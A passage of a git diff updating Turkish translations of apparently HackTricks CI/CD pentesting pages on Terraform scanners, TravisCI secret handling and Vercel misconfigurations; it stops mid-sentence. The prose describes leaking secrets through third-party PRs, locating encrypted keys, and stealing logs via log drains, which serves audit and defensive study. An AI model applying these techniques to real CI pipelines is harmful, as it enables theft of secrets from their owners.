[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) kullanarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder. +[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder. -Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Sızıntılar (CVE'ler) taraması olan [Yazılım Bileşimi Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir. +Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir. ```bash pip install checkov checkov -d /path/to/folder @@ -219,15 +219,15 @@ checkov -d /path/to/folder From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir. -- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun. +- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun - **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın? -- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın. -- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular. +- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın +- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular - **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir. - **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz. > [!NOTE] -> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. +> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -239,7 +239,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kod - ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları arasında yanlış yapılandırmaları kontrol eder - ⛔ Yüzlerce yerleşik kural -- 🪆 Modülleri tarar (yerel ve uzaktan) +- 🪆 Modülleri (yerel ve uzaktan) tarar - ➕ HCL ifadelerini ve literal değerleri değerlendirir - ↪️ Terraform fonksiyonlarını değerlendirir, örneğin `concat()` - 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir @@ -254,9 +254,9 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Geliştirme döngüsünün erken aşamalarında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun. +Geliştirme döngüsünün başında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin. -**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir. +**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` @@ -274,7 +274,7 @@ brew install terrascan ``` ## Referanslar -- [Atlantis Güvenliği](atlantis-security.md) +- [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 3ef09123d..fb69f4efb 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağını açıklayan katkılara açıktır. +Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağına dair açıklamalarla hoş karşılanır. - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index e5d62ff19..c951d931c 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## TravisCI Nedir -**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya yerinde **sürekli entegrasyon** hizmetidir. +**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya **yerel** bir **sürekli entegrasyon** hizmetidir. {{#ref}} basic-travisci-information.md @@ -25,32 +25,32 @@ Web uygulamasına erişiminiz varsa, **yapıyı çalıştırmak için cron'lar a ![](<../../images/image (243).png>) > [!NOTE] -> [bu](https://github.com/travis-ci/travis-ci/issues/9162) kaynağına göre `.travis.yml` içinde cron ayarlamanın mümkün olmadığını gösteriyor. +> Görünüşe göre, [bu](https://github.com/travis-ci/travis-ci/issues/9162) doğrultusunda `.travis.yml` içinde cron ayarlamak mümkün değil. ### Üçüncü Taraf PR -TravisCI varsayılan olarak üçüncü taraflardan gelen PR'larla ortam değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirebilir ve ardından depoya PR'lar oluşturarak gizli bilgileri dışarı sızdırabilirsiniz: +TravisCI varsayılan olarak üçüncü taraflardan gelen PR'lerle env değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirirse, o zaman repo'ya PR'lar oluşturabilir ve sırları dışarı sızdırabilirsiniz: ![](<../../images/image (208).png>) -### Gizli Bilgileri Dökme +### Sırları Dökme -[**temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür gizli bilgi vardır. **Ortam Değişkenleri gizli bilgileri** (web sayfasında listelenen) ve **özel şifreli gizli bilgiler**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifreli olarak saklandığında son makinelerde ortam değişkenleri olarak sonlanır). +[**Temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür sır vardır. **Çevre Değişkenleri sırları** (web sayfasında listelenen) ve **özel şifrelenmiş sırlar**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifrelenmiş olarak saklandığında son makinelerde env değişkenleri olarak sonlanır). -- **Ortam Değişkenleri** olarak yapılandırılan **gizli bilgileri listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje ortam değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın. -- **Özel şifreli gizli bilgileri** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**. -- **Şifreli dosyaları** listelemek için, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar için depoda **`.enc` dosyalarını** kontrol edebilir veya **Ortam Değişkenleri** içinde **şifreli iv ve anahtarlar** arayabilirsiniz: +- **Çevre Değişkenleri** olarak yapılandırılan **sırları listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje env değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın. +- **Özel şifrelenmiş sırları** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**. +- **Şifrelenmiş dosyaları** listelemek için repo'da **`.enc` dosyalarını** kontrol edebilir, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar arayabilir veya **Çevre Değişkenleri** içinde **şifrelenmiş iv ve anahtarlar** arayabilirsiniz: ![](<../../images/image (81).png>) ### YAPILACAKLAR: - Windows/Mac/Linux üzerinde çalışan ters shell ile örnek yapı -- Günlüklerde base64 kodlu ortamı sızdıran örnek yapı +- Günlüklerde base64 kodlu env sızdıran örnek yapı -### TravisCI Kurumsal +### TravisCI Enterprise -Bir saldırgan **TravisCI kurumsal** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise) sayfasında), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan: +Bir saldırgan **TravisCI enterprise** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi için [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise)), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan: - ana makineye kaçabilir mi? - kubernetes'i tehlikeye atabilir mi? diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 202ee073b..e1611beed 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -8,15 +8,15 @@ TravisCI, Github, Bitbucket, Assembla ve Gitlab gibi farklı git platformlarıyl Örneğin, Github'da aşağıdaki izinler istenir: -- `user:email` (sadece okunabilir) -- `read:org` (sadece okunabilir) +- `user:email` (salt okunur) +- `read:org` (salt okunur) - `repo`: Kamu ve özel depolar ve organizasyonlar için kod, commit durumları, işbirlikçileri ve dağıtım durumlarına okuma ve yazma erişimi verir. ## Şifreli Gizli Bilgiler ### Ortam Değişkenleri -TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifrelenerek kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir. +TravisCI'da, diğer CI platformlarında olduğu gibi, **repo düzeyinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifreli olarak kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir. ![](<../../images/image (203).png>) @@ -24,18 +24,18 @@ TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli b ### Özel Şifreli Gizli Bilgiler -**Her repo için** TravisCI, bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve depo sahiplerine **erişim** sağlayanların kullanımına **açık anahtarı** sunar. +**Her repo için** TravisCI bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve reposuna **erişimi olanlara** depo için **açık anahtarı** sunar. -Bir reposunun açık anahtarına şu şekilde erişebilirsiniz: +Bir reposunun açık anahtarına erişmek için: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Sonra, bu ayarı kullanarak **gizli bilgileri şifreleyebilir ve bunları `.travis.yaml` dosyanıza ekleyebilirsiniz**. Gizli bilgiler **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir. +Sonra, bu ayarı **gizli anahtarları şifrelemek ve bunları `.travis.yaml` dosyanıza eklemek için** kullanabilirsiniz. Gizli anahtarlar **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir. ![](<../../images/image (139).png>) -Bu şekilde şifrelenmiş gizli bilgilerin ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın. +Bu şekilde şifrelenen gizli anahtarların ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın. ### Özel Şifreli Dosyalar @@ -67,19 +67,19 @@ Travis CI Enterprise, **Travis CI'nin yerel versiyonudur**, bunu **altyapınızd **Travis CI Enterprise iki ana bölümden oluşur:** -1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeye, derleme işlerini planlamaya kadar sorumludur. +1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeden, derleme işlerini planlamaktan vb. sorumludur. 2. TCI **Worker** ve derleme ortamı görüntüleri (aynı zamanda OS görüntüleri olarak da adlandırılır). **TCI Temel hizmetleri aşağıdakileri gerektirir:** 1. Bir **PostgreSQL11** (veya daha yeni) veritabanı. 2. Bir Kubernetes kümesini dağıtmak için bir altyapı; gerekirse bir sunucu kümesinde veya tek bir makinede dağıtılabilir. -3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise Kurulumu](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın. +3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise'ı Kurma](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın. **TCI Worker aşağıdakileri gerektirir:** -1. **Worker ve bağlı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı. -2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker Kurulumu](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın. +1. **Worker ve bağlantılı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı. +2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker'ı Kurma](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın. Dağıtılan TCI Worker ve derleme ortamı OS görüntülerinin sayısı, altyapınızdaki Travis CI Enterprise dağıtımının toplam eşzamanlı kapasitesini belirleyecektir. diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index c57a36155..705887837 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,9 +4,9 @@ ## Temel Bilgiler -Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, bir **uygulama**dır. +Vercel'de bir **Ekip**, bir müşteriye ait olan tam **ortam** ve bir **proje**, bir **uygulama**dır. -**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı talep etmeniz veya en azından **Projeye ait görüntüleyici izni** almanız gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa). +**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı veya en azından **Projeye görüntüleyici izni** istemeniz gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa). ## Proje Ayarları @@ -17,11 +17,11 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, #### Güvenlik Yapılandırmaları: - **Transfer** -- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir -- **Risk:** Bir saldırgan projeyi çalabilir +- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir. +- **Risk:** Bir saldırgan projeyi çalabilir. - **Proje Sil** -- **Yanlış Yapılandırma:** Projeyi silmeye izin verir -- **Risk:** Projeyi silmek +- **Yanlış Yapılandırma:** Projeyi silmeye izin verir. +- **Risk:** Projeyi silmek. --- @@ -36,7 +36,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, - **Risk:** Alan adı kaçırma, trafik kesintisi ve kimlik avı saldırıları. - **SSL/TLS Sertifika Yönetimi** - **Yanlış Yapılandırma:** Zayıf veya süresi dolmuş SSL/TLS sertifikalarının kullanılması. -- **Risk:** Ortadaki adam (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi. +- **Risk:** Adam ortada (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi. - **DNSSEC Uygulaması** - **Yanlış Yapılandırma:** DNSSEC'i etkinleştirmemek veya yanlış DNSSEC ayarları. - **Risk:** DNS sahtekarlığı ve önbellek zehirlenmesi saldırılarına karşı artan hassasiyet. @@ -74,14 +74,14 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, - **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür. - **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması. - **Paylaşılan Ortam Değişkenleri** -- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler içerebilir. +- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler de içerebilir. - **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması. --- ### Git -**Amaç:** Git depo entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak. +**Amaç:** Git deposu entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak. #### Güvenlik Yapılandırmaları: @@ -99,13 +99,13 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, - **Güvensiz Üçüncü Taraf Entegrasyonları** - **Yanlış Yapılandırma:** Güvenilmeyen veya güvensiz üçüncü taraf hizmetlerle entegrasyon. -- **Risk:** Kompromize entegrasyonlar aracılığıyla zafiyetler, veri sızıntıları veya arka kapılar eklenmesi. +- **Risk:** Kompromize edilmiş entegrasyonlar aracılığıyla zafiyetlerin, veri sızıntılarının veya arka kapıların tanıtılması. - **Aşırı İzinli Entegrasyonlar** - **Yanlış Yapılandırma:** Entegre hizmetlere aşırı izinler vermek. - **Risk:** Proje kaynaklarına yetkisiz erişim, veri manipülasyonu veya hizmet kesintileri. - **Entegrasyon İzleme Eksikliği** - **Yanlış Yapılandırma:** Üçüncü taraf entegrasyonları izlemeyi ve denetlemeyi ihmal etmek. -- **Risk:** Kompromize entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır. +- **Risk:** Kompromize olmuş entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır. --- @@ -133,28 +133,25 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, **OPTIONS İzin Listesi** - **Yanlış Yapılandırma:** Aşırı geniş yolları veya hassas uç noktaları izin listesine almak. -- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmasız yolları istismar edebilir. +- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmayan yolları istismar edebilir. **Şifre Koruması** - **Yanlış Yapılandırma:** Zayıf şifreler kullanmak veya bunları güvensiz bir şekilde paylaşmak. - **Risk:** Şifreler tahmin edilirse veya sızdırılırsa dağıtımlara yetkisiz erişim. - -**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $. +- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur. **Dağıtım Koruma İstisnaları** -- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını yanlışlıkla istisna listesine eklemek. -- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açabilir. - -**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $. +- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını istisna listesine yanlışlıkla eklemek. +- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açar. +- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur. **Güvenilir IP'ler** - **Yanlış Yapılandırma:** IP adreslerini veya CIDR aralıklarını yanlış belirtmek. - **Risk:** Meşru kullanıcıların engellenmesi veya yetkisiz IP'lerin erişim kazanması. - -**Not:** **Kurumsal** planda mevcuttur. +- **Not:** **Enterprise** planında mevcuttur. --- @@ -182,7 +179,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, ### Cron Görevleri -**Amaç:** Belirli aralıklarla otomatik görevler ve scriptler planlamak. +**Amaç:** Belirli aralıklarla otomatik görevleri ve scriptleri çalıştırmak için zamanlamak. #### Güvenlik Yapılandırmaları: @@ -216,7 +213,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, **Git Fork Koruması** - **Yanlış Yapılandırma:** Uygun incelemeler olmadan yetkisiz çekme isteklerine izin vermek. -- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar eklenebilir. +- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar tanıtabilir. **OIDC Federasyonu ile Güvenli Arka Uç Erişimi** @@ -228,7 +225,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, - **Yanlış Yapılandırma:** Saklama sürelerini çok kısa (dağıtım geçmişini kaybetmek) veya çok uzun (gereksiz veri saklama) ayarlamak. - **Risk:** Gerekli olduğunda geri alma yapamama veya eski dağıtımlardan veri açığa çıkma riskinin artması. -**Son Zamanlarda Silinen Dağıtımlar** +**Yeni Silinen Dağıtımlar** - **Yanlış Yapılandırma:** Silinen dağıtımları izlememek veya yalnızca otomatik silmelere güvenmek. - **Risk:** Kritik dağıtım geçmişinin kaybı, denetimleri ve geri alımları engeller. @@ -243,7 +240,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, **Dizin Listeleme** -- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriğini bir dizin dosyası olmadan görüntülemesine izin verir. +- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriklerini bir indeks dosyası olmadan görüntülemesine izin verir. - **Risk:** Hassas dosyaların, uygulama yapısının ve saldırılar için potansiyel giriş noktalarının açığa çıkması. --- @@ -261,7 +258,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, ### Özel Kurallar ve IP Engelleme -- **Yanlış Yapılandırma:** Trafiği engelleme/açma izni verir. +- **Yanlış Yapılandırma:** Trafiği engellemek/açmak için izin verir. - **Risk:** Kötü niyetli trafiğe izin verme veya masum trafiği engelleme potansiyeli. --- @@ -270,13 +267,13 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, ### Kaynak -- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumaya erişim sağlar. +- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumak için erişim sağlar. - **Risk:** Hassas bilgilerin potansiyel açığa çıkması. ### Eşitsizlik Koruması - **Yanlış Yapılandırma:** Bu koruma, istemci ve sunucu uygulamasının her zaman aynı sürümü kullanmasını sağlar, böylece istemcinin sunucudan farklı bir sürüm kullanması ve dolayısıyla birbirlerini anlamamaları durumu oluşmaz. -- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekteki yeni dağıtımlarda DoS sorunlarına yol açabilir. +- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekte yeni dağıtımlarda DoS sorunlarına yol açabilir. --- @@ -320,12 +317,12 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, ### Erişim Grupları -Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla birlikte projelerin ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar. +Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamaları ile bir araya getirilmiş projeler ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar. **Potansiyel Yanlış Yapılandırmalar:** -- **Aşırı İzin Verme:** Gereğinden fazla izinle rol atamak, yetkisiz erişim veya eylemlere yol açabilir. -- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan rollerin yanlış atanması, ayrıcalıkların yükselmesine neden olabilir. +- **Üyeleri Aşırı İzinlendirme:** Gereğinden fazla izinlere sahip roller atamak, yetkisiz erişim veya eylemlere yol açabilir. +- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan roller atamak, ayrıcalıkların yükselmesine neden olabilir. - **Proje Ayrımı Eksikliği:** Hassas projeleri ayırmamak, istenenden daha geniş erişime izin verir. - **Yetersiz Grup Yönetimi:** Erişim Gruplarını düzenli olarak gözden geçirmemek veya güncellemeler yapmamak, güncel olmayan veya uygunsuz erişim izinlerine yol açar. - **Tutarsız Rol Tanımları:** Farklı Erişim Grupları arasında tutarsız veya belirsiz rol tanımları kullanmak, kafa karışıklığına ve güvenlik açıklarına yol açar. @@ -337,7 +334,7 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir #### Güvenlik Yapılandırmaları: - **Üçüncü taraflara Log Drains:** -- **Yanlış Yapılandırma:** Bir saldırgan, günlükleri çalmak için bir Log Drain yapılandırabilir. +- **Yanlış Yapılandırma:** Bir saldırgan, logları çalmak için bir Log Drain yapılandırabilir. - **Risk:** Kısmi kalıcılık. --- @@ -346,7 +343,7 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir #### Güvenlik Yapılandırmaları: -- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alanla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder. +- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alan adıyla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder. - **Yanlış Yapılandırma:** - Yanlış e-posta alanı belirtmek veya Ekip E-posta Alanı ayarında yanlış yazılmış bir alan kullanmak. - Şirket spesifik bir alan yerine yaygın bir e-posta alanı (örneğin, `gmail.com`, `hotmail.com`) kullanmak. @@ -359,28 +356,28 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir - **Yetkisiz Dağıtımlar:** Diğer ekipler, kuruluşunuzun Git kapsamlarından yetkisiz olarak depo dağıtabilir. - **Fikri Mülkiyet Açığı:** Sahip kod, ekibinizin dışında dağıtılabilir ve erişilebilir. - **Ortam Değişkeni Politikaları:** Ekibin ortam değişkenlerinin oluşturulması ve düzenlenmesi için politikaları zorunlu kılar. Özellikle, tüm ortam değişkenlerinin yalnızca 